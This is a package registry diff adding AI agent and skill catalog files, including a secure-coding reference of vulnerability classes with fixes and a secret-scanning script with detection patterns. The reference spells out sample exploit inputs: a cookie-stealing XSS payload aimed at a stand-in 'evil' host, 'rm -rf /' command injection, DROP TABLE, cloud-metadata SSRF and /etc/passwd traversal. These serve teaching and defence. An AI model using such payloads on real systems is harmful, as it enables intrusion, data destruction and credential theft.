vanara 0.1.0 → 0.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (195) hide show
  1. package/README.md +14 -0
  2. package/bin/vanara.js +66 -2
  3. package/catalog/agents/api-designer/AGENT.md +140 -0
  4. package/catalog/agents/api-designer/examples/openapi-snippet.yaml +130 -0
  5. package/catalog/agents/api-designer/examples/review-notes.md +61 -0
  6. package/catalog/agents/api-designer/references/contract-and-openapi.md +82 -0
  7. package/catalog/agents/api-designer/references/design-checklist.md +68 -0
  8. package/catalog/agents/api-designer/references/versioning-and-evolution.md +63 -0
  9. package/catalog/agents/api-designer/scripts/lint-openapi.mjs +180 -0
  10. package/catalog/agents/code-reviewer/AGENT.md +168 -0
  11. package/catalog/agents/code-reviewer/examples/pr-comment-template.md +48 -0
  12. package/catalog/agents/code-reviewer/examples/sample-review-output.md +38 -0
  13. package/catalog/agents/code-reviewer/references/review-checklist.md +46 -0
  14. package/catalog/agents/code-reviewer/references/security-review.md +62 -0
  15. package/catalog/agents/code-reviewer/references/severity-rubric.md +63 -0
  16. package/catalog/agents/code-reviewer/scripts/review-guard.mjs +102 -0
  17. package/catalog/agents/debugger/AGENT.md +112 -0
  18. package/catalog/agents/debugger/examples/postmortem-template.md +59 -0
  19. package/catalog/agents/debugger/examples/repro-template.md +50 -0
  20. package/catalog/agents/debugger/references/bisection.md +63 -0
  21. package/catalog/agents/debugger/references/debugging-method.md +57 -0
  22. package/catalog/agents/debugger/references/observability.md +61 -0
  23. package/catalog/agents/debugger/scripts/parse-stacktrace.mjs +109 -0
  24. package/catalog/agents/pr-summarizer/AGENT.md +156 -0
  25. package/catalog/agents/pr-summarizer/examples/sample-pr-summary.md +46 -0
  26. package/catalog/agents/pr-summarizer/examples/weak-vs-strong-summary.md +68 -0
  27. package/catalog/agents/pr-summarizer/references/identifying-risk.md +68 -0
  28. package/catalog/agents/pr-summarizer/references/reading-the-diff.md +68 -0
  29. package/catalog/agents/pr-summarizer/references/test-plan-and-missing-tests.md +64 -0
  30. package/catalog/agents/pr-summarizer/references/writing-the-summary.md +63 -0
  31. package/catalog/agents/pr-summarizer/scripts/diff-risk.mjs +111 -0
  32. package/catalog/agents/refactoring-specialist/AGENT.md +185 -0
  33. package/catalog/agents/refactoring-specialist/examples/before-after.md +91 -0
  34. package/catalog/agents/refactoring-specialist/examples/refactor-plan.md +97 -0
  35. package/catalog/agents/refactoring-specialist/references/large-scale-refactor.md +50 -0
  36. package/catalog/agents/refactoring-specialist/references/safe-workflow.md +75 -0
  37. package/catalog/agents/refactoring-specialist/references/smell-catalog.md +76 -0
  38. package/catalog/agents/refactoring-specialist/scripts/detect-smells.mjs +150 -0
  39. package/catalog/agents/security-auditor/AGENT.md +168 -0
  40. package/catalog/agents/security-auditor/examples/audit-report.md +68 -0
  41. package/catalog/agents/security-auditor/examples/finding-template.md +31 -0
  42. package/catalog/agents/security-auditor/references/audit-workflow.md +116 -0
  43. package/catalog/agents/security-auditor/references/severity-and-reporting.md +56 -0
  44. package/catalog/agents/security-auditor/references/vuln-classes.md +129 -0
  45. package/catalog/agents/security-auditor/scripts/scan-secrets.mjs +86 -0
  46. package/catalog/agents/technical-writer/AGENT.md +163 -0
  47. package/catalog/agents/technical-writer/examples/how-to-example.md +76 -0
  48. package/catalog/agents/technical-writer/examples/reference-example.md +75 -0
  49. package/catalog/agents/technical-writer/references/clarity-and-style.md +52 -0
  50. package/catalog/agents/technical-writer/references/diataxis-and-doc-types.md +61 -0
  51. package/catalog/agents/technical-writer/references/structure-and-maintenance.md +59 -0
  52. package/catalog/agents/technical-writer/scripts/readability.mjs +103 -0
  53. package/catalog/agents/test-author/AGENT.md +177 -0
  54. package/catalog/agents/test-author/examples/test-plan.md +54 -0
  55. package/catalog/agents/test-author/examples/unit-test-example.ts +55 -0
  56. package/catalog/agents/test-author/references/aaa-and-naming.md +75 -0
  57. package/catalog/agents/test-author/references/mocking-and-fixtures.md +94 -0
  58. package/catalog/agents/test-author/references/test-types-and-pyramid.md +60 -0
  59. package/catalog/agents/test-author/scripts/check-coverage.mjs +145 -0
  60. package/catalog/agents/threat-modeler/AGENT.md +163 -0
  61. package/catalog/agents/threat-modeler/examples/dfd-example.md +55 -0
  62. package/catalog/agents/threat-modeler/examples/threat-model.md +81 -0
  63. package/catalog/agents/threat-modeler/references/dfd-and-trust-boundaries.md +76 -0
  64. package/catalog/agents/threat-modeler/references/mitigation-catalog.md +77 -0
  65. package/catalog/agents/threat-modeler/references/stride-method.md +68 -0
  66. package/catalog/agents/threat-modeler/scripts/stride-checklist.mjs +183 -0
  67. package/catalog/agents/vuln-scanner/AGENT.md +146 -0
  68. package/catalog/agents/vuln-scanner/examples/finding-template.md +57 -0
  69. package/catalog/agents/vuln-scanner/examples/scan-report.md +49 -0
  70. package/catalog/agents/vuln-scanner/references/remediation-and-severity.md +68 -0
  71. package/catalog/agents/vuln-scanner/references/scan-types-and-tools.md +83 -0
  72. package/catalog/agents/vuln-scanner/references/triage-and-false-positives.md +73 -0
  73. package/catalog/agents/vuln-scanner/scripts/parse-scan-results.mjs +133 -0
  74. package/catalog/packs/code-review-pack/PACK.md +100 -0
  75. package/catalog/packs/code-review-pack/examples/pr-flow-example.md +50 -0
  76. package/catalog/packs/code-review-pack/references/rollout-guide.md +40 -0
  77. package/catalog/packs/security-pack/PACK.md +128 -0
  78. package/catalog/packs/security-pack/examples/owasp-vuln-triage-and-fix.md +66 -0
  79. package/catalog/packs/security-pack/examples/threat-model-then-audit.md +77 -0
  80. package/catalog/packs/security-pack/references/choosing-the-right-tool.md +37 -0
  81. package/catalog/packs/security-pack/references/threat-model-to-remediation.md +69 -0
  82. package/catalog/packs/security-pack/references/workflow.md +56 -0
  83. package/catalog/skills/api-pagination/SKILL.md +83 -0
  84. package/catalog/skills/api-pagination/examples/keyset-queries.sql +38 -0
  85. package/catalog/skills/api-pagination/examples/response-shapes.md +51 -0
  86. package/catalog/skills/api-pagination/references/consuming-pages.md +39 -0
  87. package/catalog/skills/api-pagination/references/counting-and-totals.md +41 -0
  88. package/catalog/skills/api-pagination/references/cursor-encoding.md +34 -0
  89. package/catalog/skills/api-pagination/scripts/check-cursor.mjs +51 -0
  90. package/catalog/skills/caching-strategies/SKILL.md +180 -0
  91. package/catalog/skills/caching-strategies/examples/http-cache-headers.md +82 -0
  92. package/catalog/skills/caching-strategies/examples/redis-cache-aside.js +110 -0
  93. package/catalog/skills/caching-strategies/references/cache-patterns.md +93 -0
  94. package/catalog/skills/caching-strategies/references/eviction-and-ttl.md +67 -0
  95. package/catalog/skills/caching-strategies/references/invalidation-and-stampede.md +99 -0
  96. package/catalog/skills/caching-strategies/scripts/ttl-jitter.mjs +99 -0
  97. package/catalog/skills/conventional-commits/SKILL.md +135 -0
  98. package/catalog/skills/conventional-commits/examples/commit-examples.md +60 -0
  99. package/catalog/skills/conventional-commits/examples/commitlint.config.js +31 -0
  100. package/catalog/skills/conventional-commits/references/breaking-changes-semver.md +50 -0
  101. package/catalog/skills/conventional-commits/references/scoping-commits.md +42 -0
  102. package/catalog/skills/conventional-commits/references/spec.md +78 -0
  103. package/catalog/skills/conventional-commits/scripts/lint-commit.mjs +97 -0
  104. package/catalog/skills/database-migrations/SKILL.md +137 -0
  105. package/catalog/skills/database-migrations/examples/add-column-safe.sql +34 -0
  106. package/catalog/skills/database-migrations/examples/migration-config.example.json +27 -0
  107. package/catalog/skills/database-migrations/references/expand-contract.md +74 -0
  108. package/catalog/skills/database-migrations/references/rollback-and-safety.md +71 -0
  109. package/catalog/skills/database-migrations/references/zero-downtime-changes.md +84 -0
  110. package/catalog/skills/database-migrations/scripts/check-migration-reversible.mjs +139 -0
  111. package/catalog/skills/error-handling-patterns/SKILL.md +136 -0
  112. package/catalog/skills/error-handling-patterns/examples/express-error-middleware.js +93 -0
  113. package/catalog/skills/error-handling-patterns/examples/result-pattern.ts +81 -0
  114. package/catalog/skills/error-handling-patterns/references/error-taxonomy.md +91 -0
  115. package/catalog/skills/error-handling-patterns/references/language-patterns.md +102 -0
  116. package/catalog/skills/error-handling-patterns/references/retry-and-backoff.md +76 -0
  117. package/catalog/skills/error-handling-patterns/scripts/lint-empty-catch.mjs +113 -0
  118. package/catalog/skills/git-collaboration-workflows/SKILL.md +104 -0
  119. package/catalog/skills/git-collaboration-workflows/examples/branch-protection.md +48 -0
  120. package/catalog/skills/git-collaboration-workflows/examples/pr-review-playbook.md +48 -0
  121. package/catalog/skills/git-collaboration-workflows/references/branching-models.md +52 -0
  122. package/catalog/skills/git-collaboration-workflows/references/history-hygiene.md +44 -0
  123. package/catalog/skills/git-collaboration-workflows/scripts/check-branch-hygiene.mjs +62 -0
  124. package/catalog/skills/owasp-top10/SKILL.md +112 -0
  125. package/catalog/skills/owasp-top10/examples/sql-injection-fix.md +33 -0
  126. package/catalog/skills/owasp-top10/examples/xss-fix.md +27 -0
  127. package/catalog/skills/owasp-top10/references/access-control.md +36 -0
  128. package/catalog/skills/owasp-top10/references/crypto-failures.md +29 -0
  129. package/catalog/skills/owasp-top10/references/injection.md +39 -0
  130. package/catalog/skills/owasp-top10/references/ssrf-and-design.md +35 -0
  131. package/catalog/skills/owasp-top10/scripts/scan-injection.mjs +73 -0
  132. package/catalog/skills/prompt-engineering/SKILL.md +100 -0
  133. package/catalog/skills/prompt-engineering/examples/classification-prompt.md +29 -0
  134. package/catalog/skills/prompt-engineering/examples/extraction-prompt.md +25 -0
  135. package/catalog/skills/prompt-engineering/references/prompt-injection.md +34 -0
  136. package/catalog/skills/prompt-engineering/references/structured-output.md +34 -0
  137. package/catalog/skills/prompt-engineering/references/techniques.md +33 -0
  138. package/catalog/skills/prompt-engineering/scripts/validate-output.mjs +71 -0
  139. package/catalog/skills/readme-writing/SKILL.md +176 -0
  140. package/catalog/skills/readme-writing/examples/README.template.md +73 -0
  141. package/catalog/skills/readme-writing/examples/good-readme-example.md +95 -0
  142. package/catalog/skills/readme-writing/references/anatomy.md +107 -0
  143. package/catalog/skills/readme-writing/references/maintenance.md +68 -0
  144. package/catalog/skills/readme-writing/references/writing-style.md +79 -0
  145. package/catalog/skills/readme-writing/scripts/lint-readme.mjs +117 -0
  146. package/catalog/skills/refactoring-patterns/SKILL.md +178 -0
  147. package/catalog/skills/refactoring-patterns/examples/extract-function.before-after.js +57 -0
  148. package/catalog/skills/refactoring-patterns/examples/replace-conditional-with-polymorphism.before-after.ts +63 -0
  149. package/catalog/skills/refactoring-patterns/references/code-smells.md +92 -0
  150. package/catalog/skills/refactoring-patterns/references/refactoring-catalog.md +78 -0
  151. package/catalog/skills/refactoring-patterns/references/safe-workflow.md +74 -0
  152. package/catalog/skills/refactoring-patterns/scripts/detect-smells.mjs +137 -0
  153. package/catalog/skills/rest-api-design/SKILL.md +147 -0
  154. package/catalog/skills/rest-api-design/examples/error-envelope.json +26 -0
  155. package/catalog/skills/rest-api-design/examples/orders-api.openapi.yaml +106 -0
  156. package/catalog/skills/rest-api-design/references/error-handling.md +43 -0
  157. package/catalog/skills/rest-api-design/references/pagination.md +41 -0
  158. package/catalog/skills/rest-api-design/references/status-codes.md +32 -0
  159. package/catalog/skills/rest-api-design/references/versioning.md +31 -0
  160. package/catalog/skills/rest-api-design/scripts/check-envelope.mjs +62 -0
  161. package/catalog/skills/secrets-management/SKILL.md +134 -0
  162. package/catalog/skills/secrets-management/examples/env-example.md +41 -0
  163. package/catalog/skills/secrets-management/examples/rotation-runbook.md +50 -0
  164. package/catalog/skills/secrets-management/references/leak-response.md +47 -0
  165. package/catalog/skills/secrets-management/references/rotation.md +46 -0
  166. package/catalog/skills/secrets-management/references/secret-managers.md +52 -0
  167. package/catalog/skills/secrets-management/scripts/detect-hardcoded.mjs +96 -0
  168. package/catalog/skills/secure-auth/SKILL.md +135 -0
  169. package/catalog/skills/secure-auth/examples/auth-flow.md +60 -0
  170. package/catalog/skills/secure-auth/examples/jwt-verify.ts +89 -0
  171. package/catalog/skills/secure-auth/references/auth-attacks.md +76 -0
  172. package/catalog/skills/secure-auth/references/oauth2-oidc.md +65 -0
  173. package/catalog/skills/secure-auth/references/password-hashing.md +70 -0
  174. package/catalog/skills/secure-auth/references/sessions-vs-jwt.md +69 -0
  175. package/catalog/skills/secure-auth/scripts/check-password-policy.mjs +114 -0
  176. package/catalog/skills/sql-index-tuning/SKILL.md +171 -0
  177. package/catalog/skills/sql-index-tuning/examples/explain-walkthrough.sql +91 -0
  178. package/catalog/skills/sql-index-tuning/examples/index-ddl.sql +67 -0
  179. package/catalog/skills/sql-index-tuning/references/btree-internals.md +58 -0
  180. package/catalog/skills/sql-index-tuning/references/composite-and-covering.md +60 -0
  181. package/catalog/skills/sql-index-tuning/references/reading-explain.md +54 -0
  182. package/catalog/skills/sql-index-tuning/references/selectivity-and-cardinality.md +62 -0
  183. package/catalog/skills/sql-index-tuning/scripts/suggest-index.mjs +213 -0
  184. package/catalog/skills/test-plan-design/SKILL.md +154 -0
  185. package/catalog/skills/test-plan-design/examples/test-case-template.md +45 -0
  186. package/catalog/skills/test-plan-design/examples/test-plan.md +57 -0
  187. package/catalog/skills/test-plan-design/references/case-design.md +79 -0
  188. package/catalog/skills/test-plan-design/references/risk-prioritization.md +58 -0
  189. package/catalog/skills/test-plan-design/references/test-pyramid.md +58 -0
  190. package/catalog/skills/test-plan-design/scripts/coverage-gaps.mjs +109 -0
  191. package/free-tier.json +15 -0
  192. package/package.json +15 -4
  193. package/premium-index.json +1 -0
  194. package/src/config.js +31 -1
  195. package/src/license.js +143 -0
@@ -0,0 +1,129 @@
1
+ # Vulnerability Classes — Signatures, Exploits, Fixes
2
+
3
+ A field guide to the classes you audit most. Each entry: how to spot it, a concrete exploit, and the
4
+ correct fix. Fixes favor **parameterization, output encoding, and allow-lists** over blocklists.
5
+
6
+ ## 1. SQL / NoSQL Injection (OWASP A03)
7
+
8
+ **Signature:** request data concatenated or interpolated into a query string.
9
+ ```js
10
+ db.query(`SELECT * FROM users WHERE email = '${req.body.email}'`); // VULNERABLE
11
+ ```
12
+ **Exploit:** `email = ' OR '1'='1` returns all rows; `'; DROP TABLE users--` destroys data.
13
+ **Fix:** parameterized query; bind values, never interpolate.
14
+ ```js
15
+ db.query('SELECT * FROM users WHERE email = ?', [req.body.email]); // SAFE
16
+ ```
17
+ Identifiers (column/table/sort) can't be bound — **allow-list** them:
18
+ ```js
19
+ const COLS = { created_at: 'created_at', total: 'total' };
20
+ const col = COLS[req.query.sort] ?? 'created_at';
21
+ ```
22
+ NoSQL variant: `User.find({ name: req.body.name })` where `name` is `{ "$ne": null }` → operator
23
+ injection. Fix: cast to string / reject object-typed values for scalar fields.
24
+
25
+ ## 2. Broken Access Control / IDOR (OWASP A01)
26
+
27
+ **Signature:** an object id from the request used to fetch/mutate data with **no ownership check**.
28
+ ```js
29
+ app.get('/invoices/:id', auth, async (req, res) => {
30
+ res.json(await db.invoices.findById(req.params.id)); // VULNERABLE: any user reads any invoice
31
+ });
32
+ ```
33
+ **Exploit:** authenticated user iterates `:id` to read others' invoices (horizontal escalation).
34
+ **Fix:** check ownership against the session principal; return 404 (not 403) to avoid leaking
35
+ existence.
36
+ ```js
37
+ const inv = await db.invoices.findById(req.params.id);
38
+ if (!inv || inv.userId !== req.session.userId) return res.status(404).end();
39
+ res.json(inv);
40
+ ```
41
+ Also: missing role checks on admin routes (vertical escalation), and trusting a client-supplied
42
+ `role`/`isAdmin` field. Authentication ≠ authorization.
43
+
44
+ ## 3. OS Command Injection (OWASP A03)
45
+
46
+ **Signature:** request data passed through a shell.
47
+ ```js
48
+ exec(`convert ${req.query.file} out.png`); // VULNERABLE
49
+ ```
50
+ **Exploit:** `file = x.png; rm -rf /` runs arbitrary commands.
51
+ **Fix:** avoid the shell; use an argv array via `execFile`, and allow-list inputs.
52
+ ```js
53
+ execFile('convert', [path.basename(req.query.file), 'out.png']); // SAFE
54
+ ```
55
+
56
+ ## 4. Cross-Site Scripting / XSS (OWASP A03)
57
+
58
+ **Signature:** untrusted data written into HTML without contextual encoding.
59
+ ```jsx
60
+ <div dangerouslySetInnerHTML={{ __html: comment.body }} /> // VULNERABLE (stored XSS)
61
+ element.innerHTML = req.query.q; // VULNERABLE (reflected XSS)
62
+ ```
63
+ **Exploit:** `body = <img src=x onerror=fetch('//evil/'+document.cookie)>` steals sessions.
64
+ **Fix:** render as text (`textContent`, framework auto-escaping). If raw HTML is truly required,
65
+ sanitize with a vetted allow-list sanitizer (e.g. DOMPurify) — never a hand-rolled blocklist.
66
+
67
+ ## 5. Hardcoded Secrets / Cryptographic Failures (OWASP A02/A07)
68
+
69
+ **Signature:** keys, tokens, passwords, or private keys committed in source.
70
+ ```js
71
+ const AWS_KEY = 'AKIAIOSFODNN7EXAMPLE'; // VULNERABLE (example/fake — illustration)
72
+ const token = 'sk_live_4eC39HqLyjWDarjtT1zdp7dc'; // VULNERABLE
73
+ ```
74
+ **Exploit:** anyone with repo (or git history, or a leaked build) access uses the credential directly.
75
+ **Fix:** move to env / secret manager; **rotate** the exposed secret (history retains it); add a
76
+ pre-commit secret scan. Detect with `scripts/scan-secrets.mjs`.
77
+ Crypto adjacent: passwords hashed with MD5/SHA1 → use bcrypt/scrypt/argon2 + salt. Token compare with
78
+ `==` → constant-time compare (`crypto.timingSafeEqual`).
79
+
80
+ ## 6. Insecure Deserialization (OWASP A08)
81
+
82
+ **Signature:** untrusted bytes fed to a deserializer that can instantiate objects.
83
+ ```python
84
+ data = pickle.loads(request.body) # VULNERABLE: pickle can execute on load
85
+ cfg = yaml.load(user_input) # VULNERABLE: full loader builds arbitrary objects
86
+ ```
87
+ **Exploit:** crafted payload triggers code execution during deserialization (RCE).
88
+ **Fix:** use safe formats/parsers — `json.loads`, `yaml.safe_load`; validate against a schema; never
89
+ deserialize untrusted input into live objects. JS: avoid `eval`/`Function`; guard against prototype
90
+ pollution (`__proto__`/`constructor` keys) when merging request objects.
91
+
92
+ ## 7. Server-Side Request Forgery / SSRF (OWASP A10)
93
+
94
+ **Signature:** a user-influenced URL or host reaching an outbound request.
95
+ ```js
96
+ const r = await fetch(req.query.url); // VULNERABLE
97
+ ```
98
+ **Exploit:** `url = http://169.254.169.254/latest/meta-data/` reads cloud credentials; or pivots to
99
+ internal services behind the firewall.
100
+ **Fix:** allow-list permitted hosts/schemes; resolve the hostname and **reject private/link-local
101
+ ranges** (10/8, 172.16/12, 192.168/16, 127/8, 169.254/16) and the metadata IP; disable redirects to
102
+ unvetted hosts.
103
+
104
+ ## 8. Path Traversal (OWASP A01)
105
+
106
+ **Signature:** request data used to build a filesystem path.
107
+ ```js
108
+ fs.readFile(path.join('/var/data', req.query.name)); // VULNERABLE
109
+ ```
110
+ **Exploit:** `name = ../../../../etc/passwd` escapes the base directory.
111
+ **Fix:** strip directory components and confine to a base dir.
112
+ ```js
113
+ const base = path.resolve('/var/data');
114
+ const target = path.resolve(base, path.basename(req.query.name));
115
+ if (!target.startsWith(base + path.sep)) throw new Error('invalid path'); // SAFE
116
+ ```
117
+
118
+ ## Quick mapping to OWASP Top 10 (2021)
119
+
120
+ | Class | Category |
121
+ |---|---|
122
+ | Broken access control, IDOR, path traversal | A01 |
123
+ | Cryptographic failures, hardcoded secrets | A02 |
124
+ | SQL/command/XSS/SSTI injection | A03 |
125
+ | Security misconfiguration, permissive CORS | A05 |
126
+ | Vulnerable/outdated dependencies | A06 |
127
+ | Weak auth, password hashing, timing compare | A07 |
128
+ | Insecure deserialization, prototype pollution | A08 |
129
+ | SSRF | A10 |
@@ -0,0 +1,86 @@
1
+ #!/usr/bin/env node
2
+ // Runnable check: regex-scans a code string for hardcoded secrets (AWS access keys,
3
+ // generic/bearer API tokens, Stripe-style live keys, and PEM private-key blocks).
4
+ // Zero dependencies — Node built-ins only. Mirrors the --selftest convention of the
5
+ // catalog's check-envelope.mjs (exit 0 = clean/all-expected, 1 = secret found/failure).
6
+ //
7
+ // Usage:
8
+ // node scan-secrets.mjs '<code>' # scan a literal code string
9
+ // echo '<code>' | node scan-secrets.mjs # scan from stdin
10
+ // node scan-secrets.mjs --selftest # run built-in leaky & clean test cases
11
+ //
12
+ // Exit codes (non-selftest): 0 = no secrets found, 1 = at least one secret found.
13
+
14
+ // Each rule: a human label, an OWASP-ish severity, and a detection regex. Patterns are
15
+ // deliberately specific to keep false positives low. The selftest values are obviously fake.
16
+ const RULES = [
17
+ ['AWS access key id', 'CRITICAL', /\bAKIA[0-9A-Z]{16}\b/],
18
+ ['AWS secret access key (assignment)', 'CRITICAL',
19
+ /aws_secret_access_key\s*[:=]\s*['"][A-Za-z0-9/+=]{40}['"]/i],
20
+ ['Stripe-style live secret key', 'CRITICAL', /\bsk_live_[0-9a-zA-Z]{16,}\b/],
21
+ ['Generic API token assignment', 'HIGH',
22
+ /\b(?:api[_-]?key|api[_-]?token|secret|access[_-]?token)\s*[:=]\s*['"][0-9a-zA-Z._\-]{16,}['"]/i],
23
+ ['Bearer token literal', 'HIGH', /\bBearer\s+[0-9a-zA-Z._\-]{20,}\b/],
24
+ ['Private key block (PEM)', 'CRITICAL', /-----BEGIN(?:\s+\w+)?\s+PRIVATE KEY-----/],
25
+ ['Slack token', 'HIGH', /\bxox[baprs]-[0-9A-Za-z-]{10,}\b/],
26
+ ];
27
+
28
+ export function scanSecrets(code) {
29
+ const text = typeof code === 'string' ? code : String(code ?? '');
30
+ const findings = [];
31
+ for (const [label, severity, re] of RULES) {
32
+ const m = text.match(re);
33
+ if (m) findings.push({ label, severity, match: redact(m[0]) });
34
+ }
35
+ return { ok: findings.length === 0, findings };
36
+ }
37
+
38
+ // Never echo a full candidate secret back to the terminal/logs.
39
+ function redact(s) {
40
+ if (s.length <= 8) return '*'.repeat(s.length);
41
+ return `${s.slice(0, 4)}…${s.slice(-2)} (${s.length} chars)`;
42
+ }
43
+
44
+ function check(label, code) {
45
+ const { ok, findings } = scanSecrets(code);
46
+ if (ok) {
47
+ console.log(`✓ ${label}: no hardcoded secrets detected`);
48
+ } else {
49
+ console.error(`✗ ${label}: ${findings.length} secret(s) detected`);
50
+ findings.forEach((f) => console.error(` [${f.severity}] ${f.label} — ${f.match}`));
51
+ }
52
+ return ok;
53
+ }
54
+
55
+ function selftest() {
56
+ // Every "leaky" value below is intentionally fake / example data.
57
+ const cases = {
58
+ leaky_aws: 'const id = "AKIAIOSFODNN7EXAMPLE";',
59
+ leaky_stripe: 'const key = "sk_live_4eC39HqLyjWDarjtT1zdp7dc";',
60
+ leaky_token: 'api_key: "abc123DEF456ghi789JKL"',
61
+ leaky_pem: '-----BEGIN RSA PRIVATE KEY-----\nMIIE...fake...\n-----END RSA PRIVATE KEY-----',
62
+ clean_config: 'const key = process.env.API_KEY; // loaded from secret manager',
63
+ clean_prose: 'This module reads the bearer token from the Authorization header at runtime.',
64
+ };
65
+ let allExpected = true;
66
+ for (const [name, code] of Object.entries(cases)) {
67
+ const { ok } = scanSecrets(code);
68
+ const shouldBeClean = name.startsWith('clean');
69
+ const correct = ok === shouldBeClean;
70
+ allExpected &&= correct;
71
+ console.log(
72
+ `${correct ? '✓' : '✗'} selftest ${name}: ${ok ? 'clean' : 'secret-found'} ` +
73
+ `(expected ${shouldBeClean ? 'clean' : 'secret-found'})`,
74
+ );
75
+ }
76
+ process.exit(allExpected ? 0 : 1);
77
+ }
78
+
79
+ const arg = process.argv[2];
80
+ if (arg === '--selftest') selftest();
81
+ else if (arg) process.exit(check('code', arg) ? 0 : 1);
82
+ else {
83
+ let buf = '';
84
+ process.stdin.on('data', (c) => (buf += c));
85
+ process.stdin.on('end', () => process.exit(check('stdin', buf) ? 0 : 1));
86
+ }
@@ -0,0 +1,163 @@
1
+ ---
2
+ name: technical-writer
3
+ description: Use PROACTIVELY when documentation is needed for a feature, tool, API, or system — READMEs, tutorials, how-to guides, references, or explanations. Produces clear, task-oriented docs structured by the reader's goal using the Diátaxis model, with verified, runnable examples.
4
+ tools: Read, Write, Edit, Grep, Glob
5
+ model: claude-sonnet-4-6
6
+ type: agent
7
+ version: 2.0.0
8
+ updated: 2026-06-29
9
+ ---
10
+ # Technical Writer
11
+
12
+ You write documentation people can actually follow. You organize content by **what the reader is trying
13
+ to do**, not by how the system happens to be built. A good doc has exactly one job, names its audience,
14
+ front-loads what they need, and proves every example actually runs. You are ruthless about clarity: if a
15
+ sentence can be shorter, cut it; if a step can fail silently, say so.
16
+
17
+ The single most common documentation failure is **mixing doc types** — a "getting started" page that is
18
+ half tutorial, half API reference, half design rationale, and useful for none of those readers. Your core
19
+ discipline is the **Diátaxis** framework: every document is exactly one of *tutorial*, *how-to guide*,
20
+ *reference*, or *explanation*. You decide which before writing a word, and you keep the modes separate,
21
+ linking between them instead of cramming everything onto one page.
22
+
23
+ ## Role and operating principles
24
+
25
+ - Write for a specific reader with a specific goal in a specific moment, not for "users" in the abstract.
26
+ - One doc, one job. If you feel two jobs forming, split the page and link.
27
+ - Use the reader's vocabulary. Define jargon on first use; never assume the reader shares your mental model.
28
+ - Every example is **copy-pasteable and verified**, not illustrative pseudo-code that won't run.
29
+ - Show the expected outcome so a reader knows whether they succeeded.
30
+ - Heavy reference material, full style rules, and maintenance process live in `references/`.
31
+
32
+ ## Workflow
33
+
34
+ Follow these steps in order. Do not start drafting before steps 1–2 are settled.
35
+
36
+ 1. **Identify the audience and task.** Who is reading, what do they already know, and what outcome do
37
+ they want right now? Capture their entry state (fresh clone? authenticated? mid-incident?) and their
38
+ exit state (working app? a value looked up? a decision made?).
39
+ 2. **Pick the doc type (Diátaxis).** Map the goal to one quadrant. Learning → *tutorial*; accomplishing a
40
+ concrete task → *how-to*; looking something up → *reference*; understanding *why* → *explanation*. See
41
+ `references/diataxis-and-doc-types.md` for the decision table and tell-tale signs of a blended doc.
42
+ 3. **Outline for that type.** Each type has a skeleton: tutorials are linear and confidence-building;
43
+ how-tos are goal-first and assume competence; references are exhaustive and consistent; explanations
44
+ are discursive and make trade-offs explicit.
45
+ 4. **Draft.** Front-load prerequisites and the expected result. Write task-oriented steps in the reader's
46
+ context. Keep paragraphs short; prefer lists, tables, and headings over walls of text.
47
+ 5. **Clarity pass.** Cut filler, replace abstraction with the concrete, split run-on sentences, and
48
+ convert passive hedging into direct instruction. See the before/after below and
49
+ `references/clarity-and-style.md`.
50
+ 6. **Verify examples.** Mentally (or actually) run every command and snippet from the documented starting
51
+ state. If you cannot verify a step, flag it explicitly rather than guessing.
52
+ 7. **Self-check.** Follow your own document from a clean state end to end. If a reader could get stuck,
53
+ the doc is not done.
54
+
55
+ ## A how-to skeleton
56
+
57
+ A how-to guide is goal-first and assumes a competent reader. Use this shape:
58
+
59
+ ```markdown
60
+ # Rotate the signing key
61
+
62
+ Goal: replace the active JWT signing key with zero downtime.
63
+
64
+ ## Before you start
65
+ - You have `admin` access to the secrets manager.
66
+ - The service is running at least v2.4 (older versions cache keys for 24h).
67
+
68
+ ## Steps
69
+ 1. Generate the new key:
70
+ ```bash
71
+ openssl genpkey -algorithm RSA -out new-key.pem
72
+ ```
73
+ 2. Upload it as the *next* key (not yet active):
74
+ ```bash
75
+ keyctl push --slot next --file new-key.pem
76
+ ```
77
+ 3. Promote `next` to `active`:
78
+ ```bash
79
+ keyctl promote next
80
+ ```
81
+
82
+ ## Verify
83
+ Hit the health endpoint; `key_id` should match the new key's fingerprint:
84
+ ```bash
85
+ curl -s https://api.example.com/healthz | jq .key_id
86
+ ```
87
+
88
+ ## If it goes wrong
89
+ Roll back with `keyctl promote previous`. Tokens signed in the last 5 min stay valid.
90
+ ```
91
+
92
+ Note what the skeleton does: states the goal in one line, lists prerequisites *before* steps, shows real
93
+ runnable commands, gives a verification step, and provides a rollback. It does **not** explain how JWT
94
+ signing works — that belongs in an explanation doc, linked, not inlined.
95
+
96
+ ## A before/after clarity edit
97
+
98
+ The clarity pass turns vague, writer-centric prose into direct, reader-centric instruction:
99
+
100
+ ```text
101
+ BEFORE (writer-centric, hedged, abstract):
102
+ It should generally be possible for users to configure the timeout value if and when
103
+ the default behavior is found to be insufficient for their particular needs, by means
104
+ of the appropriate environment variable.
105
+
106
+ AFTER (reader-centric, direct, concrete):
107
+ The request timeout defaults to 30s. To change it, set REQUEST_TIMEOUT_MS:
108
+
109
+ export REQUEST_TIMEOUT_MS=60000 # 60 seconds
110
+
111
+ Raise it if you see "upstream timed out" errors under load.
112
+ ```
113
+
114
+ The "after" version is shorter, names the exact variable, shows the unit, gives a concrete default, and
115
+ tells the reader *when* they'd want this. Run `scripts/readability.mjs` over a draft to catch the kind of
116
+ long, dense sentences the "before" version is made of.
117
+
118
+ ## Output format
119
+
120
+ Deliver the finished document with:
121
+
122
+ - A clear, specific title that names the task or topic.
123
+ - A one-line statement of the goal/audience near the top.
124
+ - Prerequisites and expected outcome **before** the steps or body.
125
+ - Ordered steps (how-to/tutorial) or consistent sections (reference); explanation prose for *why* docs.
126
+ - Working, verified examples with expected output.
127
+ - Cross-links to sibling docs of other types instead of inlining them.
128
+
129
+ ## Common pitfalls and failure modes
130
+
131
+ - **Mixing doc types.** A tutorial that suddenly becomes an API reference serves neither reader. Split and link.
132
+ - **Writing for yourself, not the reader.** You know the system; the reader does not. Document the path
133
+ *they* take from *their* starting state, not the architecture as you picture it.
134
+ - **Untested examples.** Snippets that look plausible but don't run destroy trust on the first copy-paste.
135
+ Verify every command from the documented starting state.
136
+ - **Wall of text.** A dense paragraph hides the one step that matters. Break into lists, steps, and
137
+ headings; one idea per paragraph.
138
+ - **Burying prerequisites.** A reader who learns at step 6 that they needed admin access at step 1 is
139
+ furious. Front-load requirements.
140
